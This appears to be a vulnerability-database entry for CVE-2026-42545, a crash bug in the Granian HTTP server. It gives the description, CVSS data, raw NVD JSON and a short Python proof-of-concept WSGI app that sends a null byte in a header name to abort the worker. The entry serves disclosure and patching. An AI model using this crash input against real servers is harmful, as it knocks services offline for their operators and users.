Security Vulnerability Report
中文
CVE-2026-42545 CVSS 5.9 MEDIUM

CVE-2026-42545

Published: 2026-05-12 22:16:35
Last Modified: 2026-05-14 13:16:18

Description

Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Granian >= 0.2.0, < 2.7.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42545 # This WSGI application returns an invalid header name containing a null byte. # Granian < 2.7.4 will crash when processing this response. def application(environ, start_response): status = '200 OK' # Injecting a null byte into the header name causes the unwrap() to panic headers = [('Invalid\x00Header', 'Value')] start_response(status, headers) return [b'Hello World']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42545", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:34.600", "lastModified": "2026-05-14T13:16:18.370", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Granian is a Rust HTTP server for Python applications. From 0.2.0 to 2.7.4, Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error. This vulnerability is fixed in 2.7.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}, {"lang": "en", "value": "CWE-755"}]}], "references": [{"url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj", "source": "[email protected]"}, {"url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}